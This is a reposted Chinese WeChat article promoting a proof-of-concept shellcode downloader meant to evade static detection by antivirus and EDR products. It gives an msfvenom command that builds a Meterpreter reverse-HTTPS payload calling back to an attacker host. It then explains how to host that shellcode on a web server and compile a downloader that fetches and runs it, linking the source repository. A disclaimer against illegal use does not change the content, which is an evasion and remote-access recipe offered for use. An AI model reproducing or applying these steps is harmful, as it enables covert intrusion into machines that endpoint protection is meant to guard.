众所周知的C2-shellcode(例如Metasploit-,CobaltStrike-,Empire Shellcode等)被AV / EPP / EDR静态标记。这意味着,无论您使用哪种聪明的技术来绕过 API 挂钩、内核回调函数等上下文中的预防/检测。您的.exe POC 将在您执行之前被标记。
只关心如何绕过 AV/EPP/EDR 的动态预防/检测通常不是最重要的事情。至少同样重要的是关心如何绕过静态预检/检测,以可能打破可能跟随连接的动态或内存中预防/检测的链条。
此 POC 使您能够编译一个.exe,以完全避免 AV/EPP/EDR 静态检测您的 C2-shellcode,并下载并执行托管在您的 (C2) Web 服务器上的 C2-shellcode。
通过该 POC,我们的优势在于,C2 反向外壳的外壳代码不作为字符串或.bin文件包含在 POC 中。也就是说,我们没有通过 AV/EPP/EDR 静态检测 C2 shellcode 的问题,因为完整的 C2-shellcode 托管在 Web 服务器上。
1. MSF-Venom 创建无阶段外壳代码。
kali> msfvenom -p windows/x64/meterpreter_reverse_https LHOST=
10.10
.0
.1
LPORT=
443
-f c --arch x64 --platform windows -o /tmp/meterx64.c
2. 在网络服务器上托管带有 MSF 无阶段外壳代码的文件
根据 c++ POC 中的代码,托管外壳代码必须采用十六进制格式。若要将整个 MSF 外壳代码放在一行中,可以使用 Notpad++ 连接行中的行操作函数,然后删除字符串中的非空格和双引号。只有在开头和结尾,我们需要从十六进制外壳代码字符串中我们需要双引号。
最后,您可以将带有无阶段MSF-shellcode的文件保存为没有任何文件类型结尾的文件,例如我们将其称为更新,然后将MSF-Shellcode文件上传到您选择的Web服务器上。
3. 将 c++ POC 中的链接更改为 MSF 有效负载 在此步骤中,我们将 POC 中的链接更改为托管无阶段 MSF-Shellcode 的 Web 服务器的链接,并在 Visual Studio 中将其编译为 Release x64。
下载
https://github.com/VirtualAlllocEx/Shellcode-Downloader-CreateThread-Execution
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。
原文始发于微信公众号(白帽学子):C2-shellcode 免杀器
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论